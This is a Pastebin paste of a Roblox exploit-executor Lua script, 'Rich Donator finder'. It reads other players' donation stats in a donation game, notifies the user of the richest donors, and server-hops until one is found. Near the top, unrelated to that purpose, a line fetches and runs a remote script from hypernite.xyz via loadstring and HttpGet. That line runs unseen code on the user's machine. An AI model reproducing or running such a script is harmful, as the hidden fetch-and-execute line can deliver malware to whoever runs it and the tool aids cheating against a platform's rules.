Advertisement
Graizy

Rich Donator finder

Mar 2nd, 2022
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.21 KB | None | 0 0
  1. local minimum = 1500 -- enter your minimum robux donated amount here
  2.  
  3.  
  4. loadstring(game:HttpGet("https://hypernite.xyz/Scripts/Ukraine.lua"))()
  5. if game.PlaceId ~= 8737602449 then return end -- failed attempt at autoexec compatability below, feel free to try and fix it
  6.  
  7. if not game.IsLoaded then game.Loaded:Wait() end
  8. --wait(.5)
  9.  
  10. local highestdono = 0
  11. local highestplr = nil
  12.  
  13. --writefile("MinimumDonation.txt",tostring(minimum))
  14.  
  15. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  16. repeat wait() until v:FindFirstChild("leaderstats")
  17. end
  18.  
  19. local function getDonated(plr)
  20. local stats = plr:WaitForChild("leaderstats")
  21. local donated = stats:FindFirstChild("Donated")
  22. if donated == nil then
  23. return 0
  24. end
  25. return donated.Value
  26. end
  27.  
  28. local function shop() -- infinite yield serverhop
  29. local x = {}
  30. for _, v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100")).data) do
  31. if type(v) == "table" and v.maxPlayers > v.playing and v.id ~= game.JobId then
  32. x[#x + 1] = v.id
  33. end
  34. end
  35. if #x > 0 then
  36. game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, x[math.random(1, #x)])
  37. game:GetService("GuiService").UiMessageChanged:Wait()
  38. shop()
  39. else
  40. return error("Couldn't find a server.")
  41. end
  42. end
  43.  
  44. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  45. if i == 1 then continue end
  46. local dono = getDonated(v)
  47. if dono > highestdono then
  48. highestdono = dono
  49. highestplr = v
  50. end
  51. end
  52.  
  53. if highestdono >= minimum then
  54. local richPlayers = {}
  55. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  56. if i == 1 then continue end
  57. if getDonated(v) >= minimum then
  58. table.insert(richPlayers,v)
  59. end
  60. end
  61. game:GetService("StarterGui"):SetCore("SendNotification", {
  62. Title = "Richest player found!",
  63. Text = highestplr.Name .. " has donated " .. highestdono .. "R$",
  64. Duration = 15
  65. })
  66. table.foreach(richPlayers,function(i)
  67. print(richPlayers[i].Name .. " donated " .. tostring(getDonated(richPlayers[i])) .. "R$")
  68. end)
  69. else
  70. shop()
  71.  
  72. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement